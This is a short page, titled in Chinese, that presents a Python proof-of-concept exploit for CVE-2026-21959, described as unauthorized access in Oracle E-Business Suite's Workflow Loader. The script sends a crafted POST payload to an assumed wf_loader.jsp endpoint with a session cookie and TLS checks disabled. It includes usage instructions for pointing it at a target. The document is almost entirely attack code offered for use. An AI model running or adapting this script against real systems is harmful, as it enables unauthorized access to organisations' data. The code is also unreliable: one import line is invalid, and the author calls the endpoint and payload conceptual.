CVE-2026-21959 Oracle Workflow Loader组件未授权访问漏洞

# CVE-2026-21959 PoC - Oracle Workflow Loader Unauthorized Access # Note: This is a conceptual PoC for authorized security testing only import requests import sys from urllib3.disable_warnings import urllib3 urllib3.disable_warnings() def exploit_cve_2026_21959(target_url, session_cookie): """ Oracle Workflow Loader component unauthorized access PoC Requirements: - Valid high-privilege Oracle E-Business Suite session cookie - Target URL for Oracle Workflow Loader endpoint """ headers = { 'Cookie': session_cookie, 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Content-Type': 'application/x-www-form-urlencoded' } # Workflow Loader endpoint (specific path depends on EBS configuration) workflow_loader_url = f"{target_url}/OA_HTML/wf_loader.jsp" # Malicious request to trigger unauthorized data access payload = { 'WFTYPE': 'LOADER', 'ACTION': 'LOAD', 'ITEM_TYPE': 'WFSTD', 'LOAD_TYPE': 'ALL' } try: response = requests.post( workflow_loader_url, data=payload, headers=headers, verify=False, timeout=30 ) if response.status_code == 200: # Check for sensitive data in response if 'WF_ATTRIBUTES' in response.text or 'WORKFLOW' in response.text: print('[+] Potential unauthorized data access detected') return True else: print(f'[-] Request failed with status: {response.status_code}') return False except requests.exceptions.RequestException as e: print(f'[-] Connection error: {e}') return False if __name__ == '__main__': if len(sys.argv) < 3: print('Usage: python cve-2026-21959.py <target_url> <session_cookie>') print('Example: python cve-2026-21959.py https://ebs.example.com "JSESSIONID=xxx"') sys.exit(1) target = sys.argv[1] cookie = sys.argv[2] exploit_cve_2026_21959(target, cookie)